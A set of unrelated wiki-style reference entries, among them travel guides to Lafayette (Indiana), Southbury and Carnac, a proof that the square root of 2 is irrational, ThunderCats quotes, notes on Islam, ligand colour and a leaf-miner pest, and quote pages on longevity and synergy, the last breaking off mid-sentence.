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Lafayette is the county seat of Tippecanoe County, Central Indiana. It is located 2 hours southeast of Chicago and 1 hour northwest of Indianapolis. The Greater Lafayette metropolitan area consists of the cities of Lafayette and West Lafayette. The combined population is 97,000. Neighboring West Lafayette is home to Purdue University, a large, prestigious public university. Amtrak serves the Lafayette with two services, the Cardinal service between Chicago and New York City three times a week. On days the Cardinal does not run, the daytime Hoosier State runs between Chicago and Indianapolis. Journey time from Chicago is about 3.5 hours. 40.419404-86.8961211 Lafayette station is located at 200 N 2nd St. Greyhound. From Chicago, 3.5 hours. ExpressAirCoach shuttle bus from Chicago O'Hare International Airport, 3 hours, $50. Lafayette Limo shuttle from Lafayette to the Indianapolis Airport, $27 one way, $50 round trip, around 1.5 hours. Reindeer Shuttle shuttle from Lafayette to the Indianapolis and Chicago Airports, Indianapolis: $27 one way, $50 round trip, around 1.5 hours, free wi-fi on shuttle. Suburban Express bus service between Purdue and the Chicago suburbs. Goes Purdue->Chicago on Friday, Chicago->Purdue on Sunday. $25 each way. 40.412222-86.9369442 Purdue University Airport (LAF IATA). does not carry commercial flights, but does allow private landings. The area is divided by the Wabash River. To the east of the river is Lafayette and to the west is West Lafayette. Lafayette is broken down into several neighborhoods. Starting at the river and heading east is downtown. Here you will find numerous shops and restaurants as well as most of the museums and theaters. North of downtown is the Historical Centennial Neighborhood. South of downtown is the Ninth Street Hill Neighborhood. Most of the shopping and hotels are either downtown or along one of the main arteries. State Rd 26 runs east and west bisecting both cities. State Rd 52 curves around the East side of town and crosses the river into the Northern side of West Lafayette. On State Rd 52 near the Southeast side of town you will find the Tippecanoe Mall. Interstate 65 marks the eastern edge of Lafayette. From South to North there are 4 exits for Lafayette, St Rd 38, St Rd 26, St Rd 25, and St Rd 43 (for West Lafayette). The John T. Myers Pedestrian Bridge connects downtown Lafayette with West Lafayette. Starting at the river and heading west into West Lafayette is the Levee area and Wabash Landing. This area is fairly new with several shops, a multiplex theater, a park, and an outdoor ice skating rink. Continue west up the hill on State Rd. 26 to the Chauncey Hill and Village area. There you will find most of the college bars and several restaurants. Continue west on Hwy. 26 to pass through the main campus of Purdue University. To the north and east of Purdue is the main residential area of West Lafayette. Bus, There are 15 bus routes around the cities. Tickets are $1, 10 tokens for $7.50 (you can ask for one free transfer ticket), $28 for a calendar month pass, free for students and staff at Purdue. There is a free trolley bus going from downtown Lafayette to West Lafayette/Purdue and back every 15 minutes. Some bus lines do not run on weekends, in the summer, or anytime when classes are not in session; check schedules for details. Lafayette and the surroundings areas are suburban and relatively spread out; a private automobile is recommended. Go for a walk in the historic downtown, Main St. from 2nd to 9th St. Tippecanoe County Historical Association. 40.4064-86.96391 [formerly dead link] Fort Ouiatenon. Historic Prophetstown State Park. Wolf Park. Columbian Park. Columbian Park Zoo. Lilly Nature Center. The Standard Oil station, 627 South St, one of only seven left, is a walk-by museum. Ice skating in the winter at Riverside, just east of Wabash Landing. Go to a Purdue football game or other major sporting event [dead link]. Feast of the Hunter's Moon every fall Colt World Series every August Taste of Tippecanoe every June. 40.4176-86.88981 Tropicanoe Cove. Lala Gallery & Studio, 511 Ferry St, ☏ +1 765 414-7962. Tu-Sa 10-6. Go see the finest art Lafayette has to offer or take a class in Lala Gallery's ceramics studio. free. Farmers market, 5th Street. On Tuesday and Saturday mornings, and Thursday evenings from May to late October. Saturday markets feature a much larger set of vendors than the weekday markets. Von's Records, Comics, Gifts, Books, 319-325 W. State St, West Lafayette, ☏ +1 765 743-1915. 4 semi-separate stores but all next to each other and the place to find odd gifts, used books, comics, music, etc. JL Records, 380 Brown St., West Lafayette. Independent music store in the best sense of that tradition. Lots of hard to find vinyl and cds. LA Village Food Mart, 208 South St. In the Village, Groceries and Indian specialties. Discount Den, Chancey Hill Mall, the Village. Tippecanoe Mall (take bus #4A from Lafayette). Arni's, 2200 Elmwood Ave., ☏ +1 765 447-1108. This pizza place has been around Lafayette for over 40 years, it is expanding throughout the state now, but it all started here. [dead link] South Street Smokehouse, 3305 South St., ☏ +1 765 446-0559. Amazing homestyle slow cooked meals. Very reasonably priced, definitely worth a stop for casual lunch or dinner. Frozen Custard, Next to Columbian Park. This Custard restaurant started in the 1930s and still serves the same hand dipped custard. Spageddie's Italian Kitchen, 3990 E. State Rd. 26. Right off the highway makes this restaurant perfect for road weary travelers that are looking for a nice chain experience in Italian food. The Other Pub, 3000 S 9th St., ☏ +1 765 474-9527. A fun and welcoming atmosphere makes you feel like it's a second home. Great indoor smoking and smoke-free facility. 40.417573-86.8957241 Sgt Preston's of the North, 6 N 2nd St, ☏ +1 765-742-7378. (updated Apr 2017) Triple XXX. Indiana's first drive-in restaurant. Known for biscuits and gravy and a famous "Dwayne Purvis" hamburger with peanut butter. Great root beer too. Silver Dipper, River Market (corner of River Rd and State St). Hand-dipped ice cream and ice cream treats. Locally owned with a loyal customer base. Nine Irish Brothers, 119 Howard Ave, ☏ +1 765-746-4782. A little slice of Ireland right here in West Lafayette. Family-owned traditional Irish pub. Warm atmosphere, live music, unique draft selection, great appetizers (try the Irish Pizza), and of course your traditional Irish entrees. Second location is in Lafayette, adjacent to Tippecanoe Mall (3520 State Rd. 38 E). (updated Mar 2017) Green Sprout, ☏ +1 765-269-7393. Authentic Korean/Japanese cuisine in Chauncey Village (southeast of WL Library). The sushi salad is amazing. Daily specials offered. Menu: $2-10. Also offers authentic Korean baked goods. Dine in, takeout, and delivery. Hookah!, ☏ +1 765-743-3636. Chauncey Hill Mall, Best Mediterranean food on campus. You can enjoy a fine hookah smoke, though non smoking section is available. People tend to dance to the exotic music that is typically played after 11PM. Must be 18 years or older to enter on weekend. All ages welcome before 10PM. Full bar with international drinks as well as American favorites. Khana Khazana, 108 Northwestern Ave, ☏ +1 765-743-1223. Good Indian food, buffet for lunch and dinner, take out available. Pricey. Bombay Indian Restaurant, 111 South River Rd, ☏ +1 765-746-2345. Buffet available but is a bit more pricey (~$9-10). Kibu Cafe, 101 South River Rd, ☏ +1 765-743-3190. Suite D. Delicious and authentic Korean + Japanese food, larger restaurant than Joo Joo. Offers various popular menu from Korea and Japan including their signature hand-made noodle made fresh daily. Also available a business meeting room for reservation. Captain Gyro's, 132 Northwestern Ave, ☏ +1 765-743-7170. Great gyros at a decent price. Cafe Vienna Expresso Bar and Bakery, 208 South Street, ☏ +1 765-743-4446. Good sweet treats and coffee, and an eclectic mix of sandwiches named after jazz and blues artists. Basil Thai, ☏ +1 765-743-3330. Chauncey Hill Mall. Smallish menu, but good Thai food and spicy curries. Great mango salad. Also sells bubble tea. Boiler Market, 320 W State St. Salads, sandwiches and some of the best pizza in town. "Pitcher and pie" specials. Parthenon (West Lafayette off of US 52), ☏ +1 765-743-6778. Chauncey Hill Mall. Authentic Greek food in a spacious dining area. Olive House, 200 South St, ☏ +1 765-743-5649. A small Mediterranean restaurant featuring an authentic menu. Alley-Oops, 1701 Schuyler Avenue. Ben Hur Tavern, 1002 S 4th. Biltmore Tap Room, 1202 S 4th. Black Sparrow, 223 Main St. Located right down town across from the Red Seven restaurant. Smaller lunch / dinner menu with unique items. The closest Lafayette comes to a hipster bar. Bands often play on Friday / Saturday nights and sometimes there is a cover charge. Checkerboard Tavern, 1521 Kossuth St. careful, they don't seem to change their fryer oil often enough. Chumley's, 122 N 3rd. On the courthouse square. Lots of different beers on tap make it a very popular late night alternative to the campus bars. Monday and Thursday nights are "Schooner Nights" with especially good drink specials, mostly involving the eponymous 32 oz. goblet. Lots of TVs showing all major sporting events. Smoking is permitted. Clubhouse Bar and Grill, 827 N 6th. Sports oriented, some live music. Danzer's Show Club, 3481 McCarty Ln. Strip club. DT Kirby's, 605 Main St. Delicious (greasy) food that will stop your heart, great liquor selection, friendly dive bar atmosphere (as long as you're a Bears fan.) Filling Station, 2603 Greenbush. Hunter's Pub, 1092 Sagamore Parkway, West Lafayette, ☏ +1 765 463-7785. Jerilee's Pub, 2100 Elmwood Avenue (Market Square). NorthEnd Grille, 1016 Main Street. Great restaurant in Killer Beans Coffee's old spot, probably one of the best in town. Upscale for Lafayette (but that isn't hard to do) Kooler Keg, 1035 N. 6th Street. Knickerbocker Saloon, 113 N 5th St, ☏ +1 765 423-2234. Founded in 1835, billed as Indiana's oldest bar. Note that the bar itself is the oldest in Indiana, but it was moved to this location. Tons of live music, sometimes jazz or other local bands. Cover is charged when bands are playing. Lafayette Brewing Company, 622 Main St, ☏ +1 765 742-2591. One of two Lafayette breweries (do not ask for a bud light here, only beer made on site served). Brew pub with very good selection of beers. Also has good food and a second floor stage with live music and open mic nights. Linwood Tavern, 1244 N 14th. Professor Joe's Pizza, 648 Main St. Mom's Place, 1301 Union. Myers Pub, 176 SR 25 Overtime Tavern, 2511 US HWY 231 S. People's Brewing Company, 2006 N. 9th St, ☏ +1 765 714-2777. The second of Lafayette's own brewing companies. Their beers can be found on tap at some local bars. There is a small on-site bar that serves only the People's brews. The Tick Tock Tavern & Eatery, 1816 N. 9th Street. Sgt. Preston's of the North, 6 N 2nd. [dead link] BLU135/ Hookah!, 135 S, Chauncey Ave. West Lafayette (in the Chauncey Hill Mall), ☏ +1 765-743-3636. Ultra Lounge with big city feel, Bottle service, Specialty martinis. Unique top shelf drinks. Largest dance floor on campus with state of the art sound and lighting. Live DJs Th.Fr.Sat open till 4AM Latin night on Thursdays, House Eurotechno and world on Fridays and Saturdays. Tapas appetizers served till 4 AM on weekends $$. Brother's Bar & Grill, 306 W. State Street. Brother's always has specials and hence makes it a fairly cheap alternative to Harry's or Yacht Club. Much more relaxed atmosphere compared to other bars on campus. Harry's Chocolate Shop, 329 W State St. Harry's is a campus classic and has been around since the times of prohibition. It used to be a soda fountain but don't expect any chocolate to be served in this drinking mainstay. The vast majority of Purdue's campus will probably say Harry's is their favorite bar since it has a little of something for everyone. Strong drinks. Jakes Roadhouse, 135 S Chauncy. Garage style place, serves food in daytime hours. Gives out free hot dogs on Friday and Saturday nights after 11PM. Known as the GDI bar. Neon Cactus, 360 Brown St. Dance club and piano bar. On Thursday nights it is mostly frequented by college students as there is a $5 cover and $0.50 32-oz beers/$1.75 32-oz well drinks. Nine Irish Brothers Traditional Irish Pub, 402 Brown St (Just N of the River Rd & State intersection), ☏ +1 765 746-4782. An impressively authentic Irish pub, with above average food—plenty of Irish cuisine such as shepherd's pie, Guinness beef stew, fish and chips, Connemara chicken, and--of course--corned beef and cabbage. It would be a great little Irish pub just for the atmosphere, but the big attractions are the bar and the entertainment. Nine Brothers has great draught beer, and a full bar with an impressive selection of Irish whiskeys, which are surpirsingly affordable. On weekends, the menu and booze are complemented by live Irish music; otherwise you can stop in to watch European sports (football, rugby, Gaelic football, hurling) on the telly, as well as the obligatory Purdue, Cubs, Bears, and Colts games. Where Else? Bar, 304 State St. Dance floor in the back, students tend to gather here at the end of their bar crawl. Featured in Sports Illustrated as #7 College Tailgate Location in the Nation. Featured on Big Ten Network for being the home of "BREAKFAST CLUB". Loeb House. Tons of hotels on Route 26 near Interstate 65, budget-moderate priced: Holiday Inn Express, Best Western, Comfort Inn, Day's Inn, Red Roof Inn, etc.—pick your favorite chain. These are outside of comfortable walking distance from West Lafayette (and therefore Purdue University), but only about a 20-minute drive from the heart of campus. If you're driving into town anyway and don't need pedestrian access to campus or downtown West Lafayette, these are a good (and often cheaper) choice. Super 8 West Lafayette, 2030 North Gate Drive (On Interstate 65), ☏ +1 765 567-7100. Secure online reservations. Econo Lodge West Lafayette Hotel, 200 Brown Street (Northeast corner of State Street (Hwy 26) River Road (Hwy 231)), ☏ +1 765 743-9661, fax: +1 765 743-8253. The closest hotel to the campus of Purdue University. 40.439673-86.8609191 Economy Inn-Lafayette, 2200 Sagamore Pkwy N. This motel offer free on-site parking. $68. (updated Oct 2021) Union Club Hotel, 101 North Grant Street, ☏ +1 765 494-8913, fax: +1 765 494-8924. Right on Purdue's campus, inside of the Purdue Union building. Good restaurants downstairs in the Union. Has secured online reservations. If you are looking to stay here during a major Purdue home game or campus event, make sure you make your reservations early because it does fill quickly. All the public libraries have wired Internet computers available for use by anyone for limited time periods. Airimba [formerly dead link] have commercial wireless access at four apartment sites at very affordable rates especially for short stays. Other locations offering Internet access include: Vienna Espresso Bar & Bakery. Offers open wireless Internet access. Cafe Royale. Offers open wireless Internet access. Union Building, (at Purdue). Requires a free temporary account. Buffalo Wild Wings, (at Levee Plaza). Offers open wireless Internet access. Panera Bread. Offers wired and splash wireless Internet access. Barnes and Noble, (at Tippecanoe Mall). (note: there are only two power outlets in the whole building for your laptop. They are directly adjacent to the handicap access ramp. If you attempt to move a table there to use the outlets, they will ask you to leave.) Java Roaster's and K Dee's Coffee in downtown Lafayette West Lafayette Public Library. Tippecanoe County Public Library: all branches, login with a valid or guest library card. Ivy Tech Branch of Tippecanoe County Public Library. Tan and Laundry at Levee Plaza, just north of Wabash Landing Turkey Run State Park Shades State Park Indiana Dunes National Park
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Southbury is in the Litchfield Hills of northwestern Connecticut. Southbury has many car services, most of which you can catch at either the Crowne Plaza Hotel or the Heritage Hotel. Many people prefer to bike through town if the season allows it. Shepaug Dam. Adam Broderick Salon & Spa, 730 Main St S, ☏ +1 203 267-4334. M-W 8:30AM-9PM, Th 8:30AM-10PM, Sa 8AM-6PM, Su 8AM-5PM. The Adam Broderick Salon and Spa is one of Southbury's most popular relaxation spots. They offer full body massages as well as facial and skin treatments. Gayle O'Neill Fine Jewelry, 775 Main St S, ☏ +1 203 264-0600. This privately owned jewelry shop offers both men and women's jewelry in a variety of styles. They're very reasonably priced and the store has an overall pleasant feel to it. [dead link] Marie's Country Furnishings, 330 Main St S, ☏ +1 203 264-0488. M-W, F 9:30AM-7PM, Th 9:30AM-8PM, Sa 9:30AM-6PM, Su 11AM-5PM. This cute small store has a collection of different craft collectables and unique home decor. [dead link] Newbury Place, 41 Oak Tree Rd, ☏ +1 203 264-7333. Tu-Sa 9:30AM-5:30PM, Su 11AM-4PM. Newbury Place carries a unique selection of gifts, clothing, jewelry, purses and accessories. A favorite gift shop for both Southbury natives and visitors. Class Cycles, 77 Main St N, ☏ +1 203 264-4708. M-Th 10AM-6PM, F 10AM-7PM, Sa 10AM-5PM. Class Cycles sells both used and new bikes, and they also do bike repairs. Friendly, knowledgeable staff. Heritage Deli, 466 Heritage Rd, ☏ +1 203 264-4322. M-F 8AM-5PM. Heritage Deli has been a popular deli for sandwich lovers for many years. They have a wide selection of both cold and hot sandwiches and take special orders if you want to create your own combination. Denmo's Snack & Dairy Bar, 340 Main St S, ☏ +1 203 264-4626. Spring and summer hours: 11AM-10PM daily. The hours vary according to season. Located in the center of town, Denmo's is the traditional American hotdog location. With a reasonably priced menu and variety of food like onion rings, hamburgers, and clam strips, it makes it a worthwhile place to dine. Leo's Restaurant, 7 Poverty Rd, ☏ +1 203 264-9190. M-F 7AM-7PM, Sa 7AM-5PM. A small Italian family owned restaurant with a beautiful balcony view. The food is inexpensive and the staff are always pleasant. DiPalma's Pizza, Union Square, ☏ +1 203 264-3555. Tu-Sa 11AM-9:30PM, Su noon-9PM. DiPalma's is one of the many pizza places in Southbury. Their New York style pizza is hard to beat and the tastiest in town. Rathskeller Bar & Grill, 88 Main St S, ☏ +1 203 264-0186. M-Sa 11:30AM-2AM. The Rathskeller is a small bar and grill located on the corner of Main St South. Its friendly atmosphere and reasonably priced drinks make it a popular place in the evening. [dead link] Fairways Tavern & Terrace, 137 E Hill Rd, ☏ +1 203 405-6270. Tu-Su noon-9PM. Found within the Southbury Country Club, Fairways Tavern & Terrace is a full-service lunch and dinner restaurant and bar. The Lodge Bar & Grill, 1455 Southford Rd, ☏ +1 203 267-6974. Su-Th 11:30AM-1AM, F-Sa 11:30AM-2AM. Located on the edge of Southbury and Southford, The Lodge Bar & Grill offers a lunch and dinner service in many comfortable environments, including an inviting dining room, outdoor patio, pub, and lounge. Crowne Plaza Hotel, 1284 Strongtown Rd (off Exit 16 on I-84), ☏ +1 203 598-7600. Daily breakfast specials. The Heritage Hotel, 522 Heritage Rd, ☏ +1 203 264-8200. Surrounded by a scenic hillside, the hotel boasts a wide variety of relaxing and entertaining activities, ranging from an indoor spa and jacuzzi to Zumba and golf memberships.
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This is an example on how to design proofs. Another one is needed for definitions and axioms. This result uses the following: Definition of rational number. Definition of prime and coprime. Definition of square root. The square root of 2 is irrational, 2 ∉ Q {\displaystyle {\sqrt {2}}\notin \mathbb {Q} } This is a proof by contradiction, so we assume that 2 ∈ Q {\displaystyle {\sqrt {2}}\in \mathbb {Q} } and hence 2 = a b {\displaystyle {\sqrt {2}}={\frac {a}{b}}} for some a, b that are coprime. This implies that 2 = a 2 b 2 {\displaystyle 2={\frac {a^{2}}{b^{2}}}} . Rewriting this gives 2 b 2 = a 2 {\displaystyle 2b^{2}=a^{2}\!\,} . Since b 2 ∈ Z {\displaystyle b^{2}\in \mathbb {Z} } , we have that 2 | a 2 {\displaystyle 2|a^{2}} . Since 2 is prime, 2 must be one of the prime factors of a 2 {\displaystyle a^{2}} , which are also the prime factors of a {\displaystyle a} , thus, 2 | a {\displaystyle 2|a} . So we may substitute a with 2 k , k ∈ Z {\displaystyle 2k,k\in \mathbb {Z} } , and we have that 2 b 2 = 4 k 2 {\displaystyle 2b^{2}=4k^{2}\!\,} . Dividing both sides with 2 yields b 2 = 2 k 2 {\displaystyle b^{2}=2k^{2}\!\,} , and using similar arguments as above, we conclude that 2 | b {\displaystyle 2|b} . Here we have a contradiction; we assumed that a and b were coprime, but we have that 2 | a {\displaystyle 2|a} and 2 | b {\displaystyle 2|b} . Hence, the assumption was false, and 2 {\displaystyle {\sqrt {2}}} cannot be written as a rational number. Hence, it is irrational. As a generalization one can show that the square root of every prime number is irrational. Another way to prove the same result is to show that x 2 − 2 {\displaystyle x^{2}-2} is an irreducible polynomial in the field of rationals using Eisenstein's criterion.
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Carnac (Breton: Karnag) is a small town in Morbihan, Brittany. Its main claim to fame are the menhirs surrounding the town. 47.5734-3.07241 Tourism Office of Carnac, 74, avenue des Druides, BP 65, ☏ +33 2 97 52 13 52, fax: +33 2 97 52 86 10, [email protected]. Jul–Aug: M–Sa 09:30–19:00, Su 15:00–19:00; Apr–Jun Sep: M–Sa 09:30–12:30 14:00–18:00, Su 15:00–18:00. (updated Feb 2018) Auray train station is 12 km (7.5 mi) away. 47.6043-3.11841 Gare de Plouharnel-Carnac, rue de la Gare, 56340 Plouharnel (4 km northwest from town center). Served only during summer by TER Bretagne line 32 (Auray–Quiberon), called "le Tire-Bouchon", the "corkscrew". This railway station does not sell tickets. (updated Feb 2018) Its standing stones. 47.5878-3.07341 Saint-Michel tumulus, chemin du Tumulus (off D781). Archaeological site was constructed between 5000 BC and 3400 BC and classified since 1889. (updated Feb 2018) 47.593333333333-3.07972222222222 Carnac stones (along the D196 road). (updated Feb 2018) 47.593333-3.0797223 Ménec alignments, route des alignements D196 (between Ménec and Croix-Audran). (updated Feb 2018) 47.595-3.07444 Toulchignan alignment, D119 and route de Kerlescan D196. (updated Feb 2018) 47.5981-3.06225 Kermario alignment, route de Kerlescan D196. (updated Feb 2018) 47.5977-3.05636 Kerloquet alignment (Manio), route de Kerlescan D196. (updated Feb 2018) 47.6044-3.04997 Kerlescan alignments, D196, Kerlescan. (updated Feb 2018) 47.6044-3.04068 Petit-Ménec alignments, Chemin de la Métairie (near Kerlescan). (updated Feb 2018) Visit one of Carnacs many beaches. Carnac has a couple of campsites and hotels. 47.581-3.07992 La Poste, 18, avenue de la Poste D119, ☏ 36 31. M W–F 09:00–12:00 14:00–17:00, Tu 09:00–12:00 14:30–17:00, Sa 09:00–12:00, closed on Sunday.
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ThunderCats is an American animated television series that was produced by Rankin/Bass Productions and Leisure Concepts debuting in 1985, based on the characters created by Tobin "Ted" Wolf. Jaga: [to Lion-O in his spirit form] Call to it, Lion-O! Call, and it will obey! Ro-Bear Bill: Ro-Bear Bill:Berbils. Ro-Bear Berbils. Berbils from the planet Ro-Bear. Been here for Berbil years. Ro-Bear Bill:You fell into one of our traps? Ro-Bear Bill:Because we would not want to hurt anyone. Ro-Bear Bill:Berbil fruit. Meat fruit, bread fruit, veggie fruit of all kinds, and candy fruit. Ro-Bear Bill:Oh, no; they don't do that for themselves. Trolligs don't eat Berbil fruit. They can't eat anything but the leaves of the Trollberry bushes. The mountaintops are covered with the Trollberry bushes, but the Giantorrs who live there won't let the Trolligs eat them, unless they bring them Ro-Bear Berbil fruit. And now, the Trolligs must return empty-handed. Oh, the Giantorrs will be furious! Ro-Bear Bill:We are here to welcome you, ThunderCats. We are happy to have you as neighbors. Ro-Bear Bill:You said we were friends. Friends help each other. Ro-Bear Bill:A Toast! To the Cats' Lair! Tygra: Rules are meaningful only if people agree to follow them. Otherwise, they're just words. Cheetara: Lion-O, pride can be a good thing, but carried too far is foolishness! Snarf: Nobody bothered to mention that he was just following old Snarf's example. Oh, no. Slythe: That devil Panthro is more than I bargained for. Since I cannot defeat him physically, I must rely on my reptilian cunning. Slythe: Have the Brute-Men erect a barricade fast! Monkian: Had enough, Thunderkids? I only wish you were the full-sized ones. Jackalman: The Brute-Men haven't dug the phosphile moat yet. The lazy blobs! We're still vulernable until it's completed! Wikipedia has an article about: ThunderCats (1985 TV Series) Thundercats (TV Series 1985-1989) quotes at the Internet Movie Database
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Islam is one of the major monotheistic religions of the world. More than 1 billion people practice the religion all over the world making it the second-largest religion in the world. The followers of Islam are called Muslims. Muslims believe in one God, commonly referred to as Allah (Literally, "The God" in Arabic; the word is pronounced Aal-lah). The main points of the Islamic creed comprise: belief in God, his Messengers, his Angels, his Revelation, Day of Judgement, Fate and Eternal life after death. Although all of a believer's life comprises worship, this is achieved in a believer's life in practice through pure worships and following a moral code in all transactions, whether they be trade, work, politics and social relations. The worships comprise of mandatory and recommended worships. The well known mandatory worships comprise: Muslims are required to adhere to the 5 basic Pillars of Islam which are obligatory for them. These are Shahadah (belief in Allah and His Prophet), Salat (prayer), Zakat (alms-giving), Sawm (fasting), and Hajj (Pilgrimage to Makkah). see Wikipedia article Shahadah These prayers are called 'Salat' in Arabic. Five times a Day. Fajr: Performed at dawn, before sunrise Zuhr: Performed at midday Asar: Performed at the late part of the afternoon Maghrib: Performed after sunset Ishaa: Performed between sunset and midnight All Muslims that have "nisab" (minimum amount of wealth that makes Zakat payable), they must calculate and pay their Zakat exactly one lunar year from this day. A person has to pay 2.5% of their wealth as Tax. There are about 30 Fasting in the Month of Ramadhan (A lunar month of Arabic Calender) in which a person can't eat and drink from just before sunrise to sunset. A Muslim will visit Makkah in the Month of thul Hijja (A lunar month of Arabic Calender). Recommended worships include superogratory prayers, invocations, recitation of the Quran, superogratory fasts to mention but a few.
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Colour change associated with Ligand Exchange reactions: When ligands are formed around a metal ion (e.g. [Fe(H2O)6]) it is known as a complex. The coordination number of a complex denotes how many ligands are attached to the central ion, it is usually 4 or 6. There are 3 types of shapes associated with complexes: - Square Planar (coordination number, 4) - Tetrahedral (coordination number, 4) - Octahedral (coordination number, 6) When complexes are formed the electrons delocalise within the molecule and this allows the complex to absorb certain frequencies of light. The frequency depends upon the type of central ion, the ligands and the shape of the complex. When the light is absorbed the electrons in the D-orbital split into 2 groups. This allows the light to be absorbed. If the frequency of the light absorbed is 450 nm it means that red light is absorbed, if the red light is absorbed it means the blue light is reflected, and this is the colour seen to the human eye. (Edited by Andy Richardson and Harry Alexander)
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Liriomyza trifolii Liriomyza trifolii is a Pest of greenhouses and warm climates, though it may seasonally escape in cooler climates. It is a Leaf Miner of many cultivated and weedy species. A small yellow fly as an adult, a leaf-mining maggot as a larva. Mining of leaves, eventually causing leaf drop. This insect has been spreading throughout the world over the past decades, believed to be transported on florist's materials. Allium (Onion) Apium (Celery) Aster Bellis Benincasa (Wax Gourd) Beta Brassica Bidens Capsicum (Pepper) Chrysanthemum Citrullus Cucumis Cucurbita Dahlia Daucus Dendranthema Eupatorium Erechtites (Pilewort) Gerbera Gypsophila (Baby's Breath) Helianthus Lactuca (Lettuce) Lagenaria (Hyotan) Lycopersicon Petunia Phaseolus (Bean) Pisum Solanum Spinacia (Spinach) Tagetes Zinnia Cultural controls: Control weed hosts Physical removal: Rogue out infested plants, dispose of infested materials quickly Pesticides: Cyromazine, Abamectin Predators and parasites: Parasitic Wasps and Ants University of Florida Hawaii Extension Service North Carolina State University
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The word "longevity" means the quality of being long-lasting, especially of life. It is sometimes used as a synonym for life expectancy or to connote long life, especially when it concerns someone or something lasting longer than expected. .]] Longevity usually includes thinking about methods to extend life. Longevity has been a topic not only for the scientific community but also for writers of science fiction and utopian novels. Longevity stories are cultural traditions and lore about exceptional human longevity, with or without eternal youth. These stories include sincere beliefs of claims of extreme age. Each category of belief is based on a different motivation for claiming exceptional age. Stories of exaggerated longevity have been around since the earliest civilizations. The first longevity narratives were probably the patriarchal/matriarchal claims, which are often an attempt to link humans to the gods or to God due to fuller life. In some religious traditions there are claims that, if one follows a certain philosophy or practice, one can become immortal or at least live to an extreme age. The U.S. Census Bureau predicts that life expectancy in the United States will be in the mid-80s by 2050 (up from 77.85 in 2006) and will top out eventually in the low 90s, barring major scientific advances that can change the rate of human aging itself, as opposed to merely treating the effects of aging as is done today. The Census Bureau also predicted that the United States would have 5.3 million people aged over 100 in 2100. The United Nations has also made projections far out into the future, up to 2300, at which point it projects that life expectancies in most developed countries will be between 100 and 106 years and still rising, though more and more slowly than before. However, the UN has warned that these projections are uncertain, and caution that any change or advancement in medical technology could invalidate their projections . List of famous people, how old they died, year and month. For example: 40 years, 1 month, John Lennon Introduction to Sociology/Aging World Population to 2300, United Nations.
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Synergy (Greek συνεργία synergia from synergos, συνεργός, meaning "working together") is a word referring to the emergence of qualities, states, or behavior of whole systems or entities unpredicted by the behavior of their parts taken separately. (sorted alphabetically by author or source) Are we to foresee a mechanising synergy under brute force, or a synergy of sympathy? Are we to foresee man seeking to fulfil himself collectively upon himself, or personally on a greater than himself? Refusal or acceptance of Omega? A conflict may supervene. In that case the noosphere, in the course of and by virtue of the process which draws it together, will, when it has reached its point of unification, split into two zones each attracted to an opposite pole of adoration. Thought has never completely united upon itself here below. Universal love would only vivify and detach finally a fraction of the noosphere so as to consummate it—the part which decided to "cross the threshold", to get outside itself into the other. ... The death of the materially exhausted planet; the split of the noosphere, divided on the form to be given to its unity; and simultaneously (endowing the event with all its significance and with all its value) the liberation of that percentage of the universe which, across time, space and evil, will have succeeded in laboriously synthesising itself to the very end. Not an indefinite progress, which is an hypothesis contradicted by the convergent nature of noogenesis, but an ecstasy transcending the dimensions and the framework of the visible universe. Pierre Teilhard de Chardin, The Phenomenon of Man 1955, pp. 288–89 Depending on the initial condition of the system (initial alphabet and number of elements) the co-evolution of nested local and global hierarchies continues until the system reaches a maximum value of complexity. At least for nuclear systems a quantitative variable called "complexity" can be defined, which increases in an irreversible manner during stellar evolution (Winiwarter, 1983). This variable C is composed of an informational measure I describing the variety of the computed formulas and an energetic measure R describing the relative binding energy or "synergy" permitting the coherence of the system. Once the maximum complexity of the system is reached, it breaks down. A catastrophic "implosion" destroys local and global hierarchical structures. In some cases—depending on the initial conditions—this "implosion" is accompanied by an "explosion" emitting computed local formulas into space. These emitted local formulas can be captured and re-entered into the initial conditions of a future gnostic cycle. John Andrew Dillon (Society for General Systems Research), Proceedings of the International Conference on Mental Images, Values, & Reality Vol. 1, Intersystems Publications, 1986, p. D-7 SYN'ERGY, Synergi'a, Synenergi'a, (F.) Synergie; from συν, 'with,' and εργον, 'work.' A correlation or concourse of action between different organs in health; and, according to some, in disease. Robley Dunglison, Medical Lexicon Blanchard and Lea, 1853 In the mystērion of the church, the participation of men in God is effected through their "cooperation" or "synergy"; to make this participation possible once more is the goal of the incarnation. Encyclopædia Britannica : Worship and sacraments Vol. 6, 1983, p. 148 Als Physiker, der sein ganzes Leben der nüchternen Wissenschaft, der Erforschung der Materie widmete, bin ich sicher von dem Verdacht frei, für einen Schwarmgeist gehalten zu werden. Und so sage ich nach meinen Erforschungen des Atoms dieses: Es gibt keine Materie an sich. Alle Materie entsteht und besteht nur durch eine Kraft, welche die Atomteilchen in Schwingung bringt und sie zum winzigsten Sonnensystem des Alls zusammenhält. Da es im ganzen Weltall aber weder eine intelligente Kraft noch eine ewige Kraft gibt—es ist der Menschheit nicht gelungen, das heißersehnte Perpetuum mobile zu erfinden—so müssen wir hinter dieser Kraft einen bewußten intelligenten Geist annehmen. Dieser Geist ist der Urgrund aller Materie. Translation: As a man who has devoted his whole life to the most clearheaded science, to the study of matter, I can tell you as a result of my research about the atoms this much: There is no matter as such! All matter originates and exists only by virtue of a force which brings the particles of an atom to vibration and holds this most minute solar system of the atom together. . . . We must assume behind this force the existence of a conscious and intelligent Spirit. This Spirit is the matrix of all matter. Max Planck, in "The Nature of Matter" [Das Wesen der Materie], a 1944 speech in Florence, Italy, Archiv zur Geschichte der Max‐Planck‐Gesellschaft, Abt. Va, Rep. 11 Planck, Nr. 1797; the German original is as quoted in The Spontaneous Healing of Belief (2008) by Gregg Braden, p. 212; Braden mistranslates intelligenten Geist as "intelligent Mind", which is an obvious tautology. Though Planck does not use the word "synergy" in this quote, his assertion of holistic assumptions implies it. In short, synergy is the consequence of the energy expended in creating order. It is locked up in the viable system created, be it an organism or a social system. It is at the level of the system. It is not discernible at the level of the system. It is not discernible at the level of the system's components. Whenever the system is dismembered to examine its components, this binding energy dissipates. An ordered library offers systemic possibilities, such as rapid search, selection, and aggregation, that cannot be explained by looking at the books themselves. These possibilities only exist because of the investment made in defining and creating interrelations between the books, their physical arrangement and the catalogues. J.C. Spender, Organizational Knowledge, Collective Practice and Penrose Rents In Michael H. Zack (ed. ), Knowledge and Strategy, Routledge, 2009, p. 125 Germain's theory of art converged with social psychology in his enthusiastic review of Henri Mazel's Synergie sociale of 1896. Germain found affinities in Mazel's theories of collective energies and cultural regeneration and attached his own notion of the individual's development through moral beauty to Mazel's 